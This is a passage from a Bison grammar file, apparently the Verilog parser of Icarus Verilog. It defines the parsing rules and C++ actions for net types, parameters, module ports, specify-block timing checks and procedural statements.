: net_decl_assigns ',' net_decl_assign
{ net_decl_assign_t*tmp = $1;
$3->next = tmp->next;
tmp->next = $3;
$$ = tmp;
}
| net_decl_assign
{ $$ = $1;
}
;
bit_logic
: K_logic { $$ = IVL_VT_LOGIC; }
| K_bool { $$ = IVL_VT_BOOL; /* Icarus misc */}
| K_bit { $$ = IVL_VT_BOOL; /* IEEE1800 / IEEE1364-2009 */}
;
bit_logic_opt
: bit_logic
| { $$ = IVL_VT_NO_TYPE; }
;
net_type
: K_wire { $$ = NetNet::WIRE; }
| K_tri { $$ = NetNet::TRI; }
| K_tri1 { $$ = NetNet::TRI1; }
| K_supply0 { $$ = NetNet::SUPPLY0; }
| K_wand { $$ = NetNet::WAND; }
| K_triand { $$ = NetNet::TRIAND; }
| K_tri0 { $$ = NetNet::TRI0; }
| K_supply1 { $$ = NetNet::SUPPLY1; }
| K_wor { $$ = NetNet::WOR; }
| K_trior { $$ = NetNet::TRIOR; }
| K_wone { $$ = NetNet::UNRESOLVED_WIRE;
cerr << @1.text << ":" << @1.first_line << ": warning: "
"'wone' is deprecated, please use 'uwire' "
"instead." << endl;
}
| K_uwire { $$ = NetNet::UNRESOLVED_WIRE; }
;
param_type
: bit_logic_opt unsigned_signed_opt dimensions_opt
{ param_active_range = $3;
param_active_signed = $2;
if (($1 == IVL_VT_NO_TYPE) && ($3 != 0))
param_active_type = IVL_VT_LOGIC;
else
param_active_type = $1;
}
| K_integer
{ param_active_range = make_range_from_width(integer_width);
param_active_signed = true;
param_active_type = IVL_VT_LOGIC;
}
| K_time
{ param_active_range = make_range_from_width(64);
param_active_signed = false;
param_active_type = IVL_VT_LOGIC;
}
| real_or_realtime
{ param_active_range = 0;
param_active_signed = true;
param_active_type = IVL_VT_REAL;
}
| atom2_type
{ param_active_range = make_range_from_width($1);
param_active_signed = true;
param_active_type = IVL_VT_BOOL;
}
;
/* parameter and localparam assignment lists are broken into
separate BNF so that I can call slightly different parameter
handling code. localparams parse the same as parameters, they
just behave differently when someone tries to override them. */
parameter_assign_list
: parameter_assign
| parameter_assign_list ',' parameter_assign
;
localparam_assign_list
: localparam_assign
| localparam_assign_list ',' localparam_assign
;
parameter_assign
: IDENTIFIER '=' expression parameter_value_ranges_opt
{ PExpr*tmp = $3;
pform_set_parameter(@1, lex_strings.make($1), param_active_type,
param_active_signed, param_active_range, tmp, $4);
delete[]$1;
}
;
localparam_assign
: IDENTIFIER '=' expression
{ PExpr*tmp = $3;
pform_set_localparam(@1, lex_strings.make($1), param_active_type,
param_active_signed, param_active_range, tmp);
delete[]$1;
}
;
parameter_value_ranges_opt : parameter_value_ranges { $$ = $1; } | { $$ = 0; } ;
parameter_value_ranges
: parameter_value_ranges parameter_value_range
{ $$ = $2; $$->next = $1; }
| parameter_value_range
{ $$ = $1; $$->next = 0; }
;
parameter_value_range
: from_exclude '[' value_range_expression ':' value_range_expression ']'
{ $$ = pform_parameter_value_range($1, false, $3, false, $5); }
| from_exclude '[' value_range_expression ':' value_range_expression ')'
{ $$ = pform_parameter_value_range($1, false, $3, true, $5); }
| from_exclude '(' value_range_expression ':' value_range_expression ']'
{ $$ = pform_parameter_value_range($1, true, $3, false, $5); }
| from_exclude '(' value_range_expression ':' value_range_expression ')'
{ $$ = pform_parameter_value_range($1, true, $3, true, $5); }
| K_exclude expression
{ $$ = pform_parameter_value_range(true, false, $2, false, $2); }
;
value_range_expression
: expression { $$ = $1; }
| K_inf { $$ = 0; }
| '+' K_inf { $$ = 0; }
| '-' K_inf { $$ = 0; }
;
from_exclude : K_from { $$ = false; } | K_exclude { $$ = true; } ;
/* The parameters of a module instance can be overridden by writing
a list of expressions in a syntax much like a delay list. (The
difference being the list can have any length.) The pform that
attaches the expression list to the module checks that the
expressions are constant.
Although the BNF in IEEE1364-1995 implies that parameter value
lists must be in parentheses, in practice most compilers will
accept simple expressions outside of parentheses if there is only
one value, so I'll accept simple numbers here. This also catches
the case of a UDP with a single delay value, so we need to accept
real values as well as decimal ones.
The parameter value by name syntax is OVI enhancement BTF-B06 as
approved by WG1364 on 6/28/1998. */
parameter_value_opt
: '#' '(' expression_list_with_nuls ')'
{ struct parmvalue_t*tmp = new struct parmvalue_t;
tmp->by_order = $3;
tmp->by_name = 0;
$$ = tmp;
}
| '#' '(' parameter_value_byname_list ')'
{ struct parmvalue_t*tmp = new struct parmvalue_t;
tmp->by_order = 0;
tmp->by_name = $3;
$$ = tmp;
}
| '#' DEC_NUMBER
{ assert($2);
PENumber*tmp = new PENumber($2);
FILE_NAME(tmp, @1);
struct parmvalue_t*lst = new struct parmvalue_t;
lst->by_order = new list<PExpr*>;
lst->by_order->push_back(tmp);
lst->by_name = 0;
$$ = lst;
based_size = 0;
}
| '#' REALTIME
{ assert($2);
PEFNumber*tmp = new PEFNumber($2);
FILE_NAME(tmp, @1);
struct parmvalue_t*lst = new struct parmvalue_t;
lst->by_order = new list<PExpr*>;
lst->by_order->push_back(tmp);
lst->by_name = 0;
$$ = lst;
}
| '#' error
{ yyerror(@1, "error: syntax error in parameter value "
"assignment list.");
$$ = 0;
}
|
{ $$ = 0; }
;
parameter_value_byname
: '.' IDENTIFIER '(' expression ')'
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = $4;
delete[]$2;
$$ = tmp;
}
| '.' IDENTIFIER '(' ')'
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = 0;
delete[]$2;
$$ = tmp;
}
;
parameter_value_byname_list
: parameter_value_byname
{ list<named_pexpr_t>*tmp = new list<named_pexpr_t>;
tmp->push_back(*$1);
delete $1;
$$ = tmp;
}
| parameter_value_byname_list ',' parameter_value_byname
{ list<named_pexpr_t>*tmp = $1;
tmp->push_back(*$3);
delete $3;
$$ = tmp;
}
;
/* The port (of a module) is a fairly complex item. Each port is
handled as a Module::port_t object. A simple port reference has a
name and a PExpr object, but more complex constructs are possible
where the name can be attached to a list of PWire objects.
The port_reference returns a Module::port_t, and so does the
port_reference_list. The port_reference_list may have built up a
list of PWires in the port_t object, but it is still a single
Module::port_t object.
The port rule below takes the built up Module::port_t object and
tweaks its name as needed. */
port
: port_reference
{ $$ = $1; }
/* This syntax attaches an external name to the port reference so
that the caller can bind by name to non-trivial port
references. The port_t object gets its PWire from the
port_reference, but its name from the IDENTIFIER. */
| '.' IDENTIFIER '(' port_reference ')'
{ Module::port_t*tmp = $4;
tmp->name = lex_strings.make($2);
delete[]$2;
$$ = tmp;
}
/* A port can also be a concatenation of port references. In this
case the port does not have a name available to the outside, only
positional parameter passing is possible here. */
| '{' port_reference_list '}'
{ Module::port_t*tmp = $2;
tmp->name = perm_string();
$$ = tmp;
}
/* This attaches a name to a port reference concatenation list so
that parameter passing be name is possible. */
| '.' IDENTIFIER '(' '{' port_reference_list '}' ')'
{ Module::port_t*tmp = $5;
tmp->name = lex_strings.make($2);
delete[]$2;
$$ = tmp;
}
;
port_opt
: port { $$ = $1; }
| { $$ = 0; }
;
/* The port_name rule is used with a module is being *instantiated*,
and not when it is being declared. See the port rule if you are
looking for the ports of a module declaration. */
port_name
: '.' IDENTIFIER '(' expression ')'
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = $4;
delete[]$2;
$$ = tmp;
}
| '.' IDENTIFIER '(' error ')'
{ yyerror(@3, "error: invalid port connection expression.");
named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = 0;
delete[]$2;
$$ = tmp;
}
| '.' IDENTIFIER '(' ')'
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = 0;
delete[]$2;
$$ = tmp;
}
| '.' IDENTIFIER
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make($2);
tmp->parm = new PEIdent(lex_strings.make($2), true);
FILE_NAME(tmp->parm, @1);
delete[]$2;
$$ = tmp;
}
| K_DOTSTAR
{ named_pexpr_t*tmp = new named_pexpr_t;
tmp->name = lex_strings.make("*");
tmp->parm = 0;
$$ = tmp;
}
;
port_name_list
: port_name_list ',' port_name
{ list<named_pexpr_t>*tmp = $1;
tmp->push_back(*$3);
delete $3;
$$ = tmp;
}
| port_name
{ list<named_pexpr_t>*tmp = new list<named_pexpr_t>;
tmp->push_back(*$1);
delete $1;
$$ = tmp;
}
;
/* A port reference is an internal (to the module) name of the port,
possibly with a part of bit select to attach it to specific bits
of a signal fully declared inside the module.
The parser creates a PEIdent for every port reference, even if the
signal is bound to different ports. The elaboration figures out
the mess that this creates. The port_reference (and the
port_reference_list below) puts the port reference PEIdent into the
port_t object to pass it up to the module declaration code. */
port_reference
: IDENTIFIER
{ Module::port_t*ptmp;
perm_string name = lex_strings.make($1);
ptmp = pform_module_port_reference(name, @1.text, @1.first_line);
delete[]$1;
$$ = ptmp;
}
| IDENTIFIER '[' expression ':' expression ']'
{ index_component_t itmp;
itmp.sel = index_component_t::SEL_PART;
itmp.msb = $3;
itmp.lsb = $5;
name_component_t ntmp (lex_strings.make($1));
ntmp.index.push_back(itmp);
pform_name_t pname;
pname.push_back(ntmp);
PEIdent*wtmp = new PEIdent(pname);
FILE_NAME(wtmp, @1);
Module::port_t*ptmp = new Module::port_t;
ptmp->name = perm_string();
ptmp->expr.push_back(wtmp);
delete[]$1;
$$ = ptmp;
}
| IDENTIFIER '[' expression ']'
{ index_component_t itmp;
itmp.sel = index_component_t::SEL_BIT;
itmp.msb = $3;
itmp.lsb = 0;
name_component_t ntmp (lex_strings.make($1));
ntmp.index.push_back(itmp);
pform_name_t pname;
pname.push_back(ntmp);
PEIdent*tmp = new PEIdent(pname);
FILE_NAME(tmp, @1);
Module::port_t*ptmp = new Module::port_t;
ptmp->name = perm_string();
ptmp->expr.push_back(tmp);
delete[]$1;
$$ = ptmp;
}
| IDENTIFIER '[' error ']'
{ yyerror(@1, "error: invalid port bit select");
Module::port_t*ptmp = new Module::port_t;
PEIdent*wtmp = new PEIdent(lex_strings.make($1));
FILE_NAME(wtmp, @1);
ptmp->name = lex_strings.make($1);
ptmp->expr.push_back(wtmp);
delete[]$1;
$$ = ptmp;
}
;
port_reference_list
: port_reference
{ $$ = $1; }
| port_reference_list ',' port_reference
{ Module::port_t*tmp = $1;
append(tmp->expr, $3->expr);
delete $3;
$$ = tmp;
}
;
/* The range is a list of variable dimensions. */
dimensions_opt
: { $$ = 0; }
| dimensions { $$ = $1; }
;
dimensions
: variable_dimension
{ $$ = $1; }
| dimensions variable_dimension
{ list<pform_range_t> *tmp = $1;
if ($2) {
tmp->splice(tmp->end(), *$2);
delete $2;
}
$$ = tmp;
}
;
/* The register_variable rule is matched only when I am parsing
variables in a "reg" definition. I therefore know that I am
creating registers and I do not need to let the containing rule
handle it. The register variable list simply packs them together
so that bit ranges can be assigned. */
register_variable
: IDENTIFIER dimensions_opt
{ perm_string name = lex_strings.make($1);
pform_makewire(@1, name, NetNet::REG,
NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0);
pform_set_reg_idx(name, $2);
$$ = $1;
}
| IDENTIFIER dimensions_opt '=' expression
{ if (pform_peek_scope()->var_init_needs_explicit_lifetime()
&& (var_lifetime == LexicalScope::INHERITED)) {
cerr << @3 << ": warning: Static variable initialization requires "
"explicit lifetime in this context." << endl;
warn_count += 1;
}
perm_string name = lex_strings.make($1);
pform_makewire(@1, name, NetNet::REG,
NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0);
pform_set_reg_idx(name, $2);
pform_make_var_init(@1, name, $4);
$$ = $1;
}
;
register_variable_list
: register_variable
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
$$ = tmp;
delete[]$1;
}
| register_variable_list ',' register_variable
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
$$ = tmp;
delete[]$3;
}
;
net_variable
: IDENTIFIER dimensions_opt
{ perm_string name = lex_strings.make($1);
pform_makewire(@1, name, NetNet::IMPLICIT,
NetNet::NOT_A_PORT, IVL_VT_NO_TYPE, 0);
pform_set_reg_idx(name, $2);
$$ = $1;
}
;
net_variable_list
: net_variable
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
$$ = tmp;
delete[]$1;
}
| net_variable_list ',' net_variable
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
$$ = tmp;
delete[]$3;
}
;
event_variable
: IDENTIFIER dimensions_opt
{ if ($2) {
yyerror(@2, "sorry: event arrays are not supported.");
delete $2;
}
$$ = $1;
}
;
event_variable_list
: event_variable
{ $$ = list_from_identifier($1); }
| event_variable_list ',' event_variable
{ $$ = list_from_identifier($1, $3); }
;
specify_item
: K_specparam specparam_decl ';'
| specify_simple_path_decl ';'
{ pform_module_specify_path($1);
}
| specify_edge_path_decl ';'
{ pform_module_specify_path($1);
}
| K_if '(' expression ')' specify_simple_path_decl ';'
{ PSpecPath*tmp = $5;
if (tmp) {
tmp->conditional = true;
tmp->condition = $3;
}
pform_module_specify_path(tmp);
}
| K_if '(' expression ')' specify_edge_path_decl ';'
{ PSpecPath*tmp = $5;
if (tmp) {
tmp->conditional = true;
tmp->condition = $3;
}
pform_module_specify_path(tmp);
}
| K_ifnone specify_simple_path_decl ';'
{ PSpecPath*tmp = $2;
if (tmp) {
tmp->conditional = true;
tmp->condition = 0;
}
pform_module_specify_path(tmp);
}
| K_ifnone specify_edge_path_decl ';'
{ yyerror(@1, "Sorry: ifnone with an edge-sensitive path is "
"not supported.");
yyerrok;
}
| K_Sfullskew '(' spec_reference_event ',' spec_reference_event
',' delay_value ',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
delete $9;
}
| K_Shold '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Snochange '(' spec_reference_event ',' spec_reference_event
',' delay_value ',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
delete $9;
}
| K_Speriod '(' spec_reference_event ',' delay_value
spec_notifier_opt ')' ';'
{ delete $5;
}
| K_Srecovery '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Srecrem '(' spec_reference_event ',' spec_reference_event
',' delay_value ',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
delete $9;
}
| K_Sremoval '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Ssetup '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Ssetuphold '(' spec_reference_event ',' spec_reference_event
',' delay_value ',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
delete $9;
}
| K_Sskew '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Stimeskew '(' spec_reference_event ',' spec_reference_event
',' delay_value spec_notifier_opt ')' ';'
{ delete $7;
}
| K_Swidth '(' spec_reference_event ',' delay_value ',' expression
spec_notifier_opt ')' ';'
{ delete $5;
delete $7;
}
| K_Swidth '(' spec_reference_event ',' delay_value ')' ';'
{ delete $5;
}
| K_pulsestyle_onevent specify_path_identifiers ';'
{ delete $2;
}
| K_pulsestyle_ondetect specify_path_identifiers ';'
{ delete $2;
}
| K_showcancelled specify_path_identifiers ';'
{ delete $2;
}
| K_noshowcancelled specify_path_identifiers ';'
{ delete $2;
}
;
specify_item_list
: specify_item
| specify_item_list specify_item
;
specify_item_list_opt
: /* empty */
{ }
| specify_item_list
{ }
specify_edge_path_decl
: specify_edge_path '=' '(' delay_value_list ')'
{ $$ = pform_assign_path_delay($1, $4); }
| specify_edge_path '=' delay_value_simple
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
$$ = pform_assign_path_delay($1, tmp);
}
;
edge_operator : K_posedge { $$ = true; } | K_negedge { $$ = false; } ;
specify_edge_path
: '(' specify_path_identifiers spec_polarity
K_EG '(' specify_path_identifiers polarity_operator expression ')' ')'
{ int edge_flag = 0;
$$ = pform_make_specify_edge_path(@1, edge_flag, $2, $3, false, $6, $8); }
| '(' edge_operator specify_path_identifiers spec_polarity
K_EG '(' specify_path_identifiers polarity_operator expression ')' ')'
{ int edge_flag = $2? 1 : -1;
$$ = pform_make_specify_edge_path(@1, edge_flag, $3, $4, false, $7, $9);}
| '(' specify_path_identifiers spec_polarity
K_SG '(' specify_path_identifiers polarity_operator expression ')' ')'
{ int edge_flag = 0;
$$ = pform_make_specify_edge_path(@1, edge_flag, $2, $3, true, $6, $8); }
| '(' edge_operator specify_path_identifiers spec_polarity
K_SG '(' specify_path_identifiers polarity_operator expression ')' ')'
{ int edge_flag = $2? 1 : -1;
$$ = pform_make_specify_edge_path(@1, edge_flag, $3, $4, true, $7, $9); }
;
polarity_operator
: K_PO_POS
| K_PO_NEG
| ':'
;
specify_simple_path_decl
: specify_simple_path '=' '(' delay_value_list ')'
{ $$ = pform_assign_path_delay($1, $4); }
| specify_simple_path '=' delay_value_simple
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
$$ = pform_assign_path_delay($1, tmp);
}
| specify_simple_path '=' '(' error ')'
{ yyerror(@3, "Syntax error in delay value list.");
yyerrok;
$$ = 0;
}
;
specify_simple_path
: '(' specify_path_identifiers spec_polarity
K_EG specify_path_identifiers ')'
{ $$ = pform_make_specify_path(@1, $2, $3, false, $5); }
| '(' specify_path_identifiers spec_polarity
K_SG specify_path_identifiers ')'
{ $$ = pform_make_specify_path(@1, $2, $3, true, $5); }
| '(' error ')'
{ yyerror(@1, "Invalid simple path");
yyerrok;
}
;
specify_path_identifiers
: IDENTIFIER
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
$$ = tmp;
delete[]$1;
}
| IDENTIFIER '[' expr_primary ']'
{ if (gn_specify_blocks_flag) {
yywarn(@4, "Bit selects are not currently supported "
"in path declarations. The declaration "
"will be applied to the whole vector.");
}
list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
$$ = tmp;
delete[]$1;
}
| IDENTIFIER '[' expr_primary polarity_operator expr_primary ']'
{ if (gn_specify_blocks_flag) {
yywarn(@4, "Part selects are not currently supported "
"in path declarations. The declaration "
"will be applied to the whole vector.");
}
list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
$$ = tmp;
delete[]$1;
}
| specify_path_identifiers ',' IDENTIFIER
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
$$ = tmp;
delete[]$3;
}
| specify_path_identifiers ',' IDENTIFIER '[' expr_primary ']'
{ if (gn_specify_blocks_flag) {
yywarn(@4, "Bit selects are not currently supported "
"in path declarations. The declaration "
"will be applied to the whole vector.");
}
list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
$$ = tmp;
delete[]$3;
}
| specify_path_identifiers ',' IDENTIFIER '[' expr_primary polarity_operator expr_primary ']'
{ if (gn_specify_blocks_flag) {
yywarn(@4, "Part selects are not currently supported "
"in path declarations. The declaration "
"will be applied to the whole vector.");
}
list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
$$ = tmp;
delete[]$3;
}
;
specparam
: IDENTIFIER '=' expression
{ PExpr*tmp = $3;
pform_set_specparam(@1, lex_strings.make($1),
param_active_range, tmp);
delete[]$1;
}
| IDENTIFIER '=' expression ':' expression ':' expression
{ PExpr*tmp = 0;
switch (min_typ_max_flag) {
case MIN:
tmp = $3;
delete $5;
delete $7;
break;
case TYP:
delete $3;
tmp = $5;
delete $7;
break;
case MAX:
delete $3;
delete $5;
tmp = $7;
break;
}
if (min_typ_max_warn > 0) {
cerr << tmp->get_fileline() << ": warning: choosing ";
switch (min_typ_max_flag) {
case MIN:
cerr << "min";
break;
case TYP:
cerr << "typ";
break;
case MAX:
cerr << "max";
break;
}
cerr << " expression." << endl;
min_typ_max_warn -= 1;
}
pform_set_specparam(@1, lex_strings.make($1),
param_active_range, tmp);
delete[]$1;
}
| PATHPULSE_IDENTIFIER '=' expression
{ delete[]$1;
delete $3;
}
| PATHPULSE_IDENTIFIER '=' '(' expression ',' expression ')'
{ delete[]$1;
delete $4;
delete $6;
}
;
specparam_list
: specparam
| specparam_list ',' specparam
;
specparam_decl
: specparam_list
| dimensions
{ param_active_range = $1; }
specparam_list
{ param_active_range = 0; }
;
spec_polarity
: '+' { $$ = '+'; }
| '-' { $$ = '-'; }
| { $$ = 0; }
;
spec_reference_event
: K_posedge expression
{ delete $2; }
| K_negedge expression
{ delete $2; }
| K_posedge expr_primary K_TAND expression
{ delete $2;
delete $4;
}
| K_negedge expr_primary K_TAND expression
{ delete $2;
delete $4;
}
| K_edge '[' edge_descriptor_list ']' expr_primary
{ delete $5; }
| K_edge '[' edge_descriptor_list ']' expr_primary K_TAND expression
{ delete $5;
delete $7;
}
| expr_primary K_TAND expression
{ delete $1;
delete $3;
}
| expr_primary
{ delete $1; }
;
/* The edge_descriptor is detected by the lexor as the various
2-letter edge sequences that are supported here. For now, we
don't care what they are, because we do not yet support specify
edge events. */
edge_descriptor_list
: edge_descriptor_list ',' K_edge_descriptor
| K_edge_descriptor
;
spec_notifier_opt
: /* empty */
{ }
| spec_notifier
{ }
;
spec_notifier
: ','
{ args_after_notifier = 0; }
| ',' hierarchy_identifier
{ args_after_notifier = 0; delete $2; }
| spec_notifier ','
{ args_after_notifier += 1; }
| spec_notifier ',' hierarchy_identifier
{ args_after_notifier += 1;
if (args_after_notifier >= 3) {
cerr << @3 << ": warning: timing checks are not supported "
"and delayed signal \"" << *$3
<< "\" will not be driven." << endl;
}
delete $3; }
/* How do we match this path? */
| IDENTIFIER
{ args_after_notifier = 0; delete[]$1; }
;
statement_item /* This is roughly statement_item in the LRM */
/* assign and deassign statements are procedural code to do
structural assignments, and to turn that structural assignment
off. This is stronger than any other assign, but weaker than the
force assignments. */
: K_assign lpvalue '=' expression ';'
{ PCAssign*tmp = new PCAssign($2, $4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_deassign lpvalue ';'
{ PDeassign*tmp = new PDeassign($2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* Force and release statements are similar to assignments,
syntactically, but they will be elaborated differently. */
| K_force lpvalue '=' expression ';'
{ PForce*tmp = new PForce($2, $4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_release lpvalue ';'
{ PRelease*tmp = new PRelease($2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* begin-end blocks come in a variety of forms, including named and
anonymous. The named blocks can also carry their own reg
variables, which are placed in the scope created by the block
name. These are handled by pushing the scope name, then matching
the declarations. The scope is popped at the end of the block. */
| K_begin K_end
{ PBlock*tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* In SystemVerilog an unnamed block can contain variable declarations. */
| K_begin
{ PBlock*tmp = pform_push_block_scope(0, PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
}
block_item_decls_opt
{ if ($3) {
if (! gn_system_verilog()) {
yyerror("error: Variable declaration in unnamed block "
"requires SystemVerilog.");
}
} else {
/* If there are no declarations in the scope then just delete it. */
pform_pop_scope();
assert(! current_block_stack.empty());
PBlock*tmp = current_block_stack.top();
current_block_stack.pop();
delete tmp;
}
}
statement_or_null_list K_end
{ PBlock*tmp;
if ($3) {
pform_pop_scope();
assert(! current_block_stack.empty());
tmp = current_block_stack.top();
current_block_stack.pop();
} else {
tmp = new PBlock(PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
}
if ($5) tmp->set_statement(*$5);
delete $5;
$$ = tmp;
}
| K_begin ':' IDENTIFIER
{ PBlock*tmp = pform_push_block_scope($3, PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
}
block_item_decls_opt
statement_or_null_list_opt K_end endlabel_opt
{ pform_pop_scope();
assert(! current_block_stack.empty());
PBlock*tmp = current_block_stack.top();
current_block_stack.pop();
if ($6) tmp->set_statement(*$6);
delete $6;
if ($8) {
if (strcmp($3,$8) != 0) {
yyerror(@8, "error: End label doesn't match begin name");
}
if (! gn_system_verilog()) {
yyerror(@8, "error: Begin end labels require "
"SystemVerilog.");
}
delete[]$8;
}
delete[]$3;
$$ = tmp;
}
/* fork-join blocks are very similar to begin-end blocks. In fact,
from the parser's perspective there is no real difference. All we
need to do is remember that this is a parallel block so that the
code generator can do the right thing. */
| K_fork join_keyword
{ PBlock*tmp = new PBlock($2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* In SystemVerilog an unnamed block can contain variable declarations. */
| K_fork
{ PBlock*tmp = pform_push_block_scope(0, PBlock::BL_PAR);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
}
block_item_decls_opt
{ if ($3) {
if (! gn_system_verilog()) {
yyerror("error: Variable declaration in unnamed block "
"requires SystemVerilog.");
}
} else {
/* If there are no declarations in the scope then just delete it. */
pform_pop_scope();
assert(! current_block_stack.empty());
PBlock*tmp = current_block_stack.top();
current_block_stack.pop();
delete tmp;
}
}
statement_or_null_list join_keyword
{ PBlock*tmp;
if ($3) {
pform_pop_scope();
assert(! current_block_stack.empty());
tmp = current_block_stack.top();
current_block_stack.pop();
tmp->set_join_type($6);
} else {
tmp = new PBlock($6);
FILE_NAME(tmp, @1);
}
if ($5) tmp->set_statement(*$5);
delete $5;
$$ = tmp;
}
| K_fork ':' IDENTIFIER
{ PBlock*tmp = pform_push_block_scope($3, PBlock::BL_PAR);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
}
block_item_decls_opt
statement_or_null_list_opt join_keyword endlabel_opt
{ pform_pop_scope();
assert(! current_block_stack.empty());
PBlock*tmp = current_block_stack.top();
current_block_stack.pop();
tmp->set_join_type($7);
if ($6) tmp->set_statement(*$6);
delete $6;
if ($8) {
if (strcmp($3,$8) != 0) {
yyerror(@8, "error: End label doesn't match fork name");
}
if (! gn_system_verilog()) {
yyerror(@8, "error: Fork end labels require "
"SystemVerilog.");
}
delete[]$8;
}
delete[]$3;
$$ = tmp;
}
| K_disable hierarchy_identifier ';'
{ PDisable*tmp = new PDisable(*$2);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| K_disable K_fork ';'
{ pform_name_t tmp_name;
PDisable*tmp = new PDisable(tmp_name);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_TRIGGER hierarchy_identifier ';'
{ PTrigger*tmp = new PTrigger(*$2);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| procedural_assertion_statement { $$ = $1; }
| loop_statement { $$ = $1; }
| jump_statement { $$ = $1; }
| K_case '(' expression ')' case_items K_endcase
{ PCase*tmp = new PCase(NetCase::EQ, $3, $5);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_casex '(' expression ')' case_items K_endcase
{ PCase*tmp = new PCase(NetCase::EQX, $3, $5);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_casez '(' expression ')' case_items K_endcase
{ PCase*tmp = new PCase(NetCase::EQZ, $3, $5);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_case '(' expression ')' error K_endcase
{ yyerrok; }
| K_casex '(' expression ')' error K_endcase
{ yyerrok; }
| K_casez '(' expression ')' error K_endcase
{ yyerrok; }
| K_if '(' expression ')' statement_or_null %prec less_than_K_else
{ PCondit*tmp = new PCondit($3, $5, 0);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_if '(' expression ')' statement_or_null K_else statement_or_null
{ PCondit*tmp = new PCondit($3, $5, $7);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_if '(' error ')' statement_or_null %prec less_than_K_else
{ yyerror(@1, "error: Malformed conditional expression.");
$$ = $5;
}
| K_if '(' error ')' statement_or_null K_else statement_or_null
{ yyerror(@1, "error: Malformed conditional expression.");
$$ = $5;
}
/* SystemVerilog adds the compressed_statement */
| compressed_statement ';'
{ $$ = $1; }
/* increment/decrement expressions can also be statements. When used
as statements, we can rewrite a++ as a += 1, and so on. */
| inc_or_dec_expression ';'
{ $$ = pform_compressed_assign_from_inc_dec(@1, $1); }
/* */
| delay1 statement_or_null
{ PExpr*del = $1->front();
assert($1->size() == 1);
delete $1;
PDelayStatement*tmp = new PDelayStatement(del, $2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| event_control statement_or_null
{ PEventStatement*tmp = $1;
if (tmp == 0) {
yyerror(@1, "error: Invalid event control.");
$$ = 0;
} else {
tmp->set_statement($2);
$$ = tmp;
}
}
| '@' '*' statement_or_null
{ PEventStatement*tmp = new PEventStatement;
FILE_NAME(tmp, @1);
tmp->set_statement($3);
$$ = tmp;
}
| '@' '(' '*' ')' statement_or_null
{ PEventStatement*tmp = new PEventStatement;
FILE_NAME(tmp, @1);
tmp->set_statement($5);
$$ = tmp;
}
/* Various assignment statements */
| lpvalue '=' expression ';'
{ PAssign*tmp = new PAssign($1,$3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| error '=' expression ';'
{ yyerror(@2, "Syntax in assignment statement l-value.");
yyerrok;
$$ = new PNoop;
}
| lpvalue K_LE expression ';'
{ PAssignNB*tmp = new PAssignNB($1,$3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| error K_LE expression ';'
{ yyerror(@2, "Syntax in assignment statement l-value.");
yyerrok;
$$ = new PNoop;
}
| lpvalue '=' delay1 expression ';'
{ PExpr*del = $3->front(); $3->pop_front();
assert($3->empty());
PAssign*tmp = new PAssign($1,del,$4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_LE delay1 expression ';'
{ PExpr*del = $3->front(); $3->pop_front();
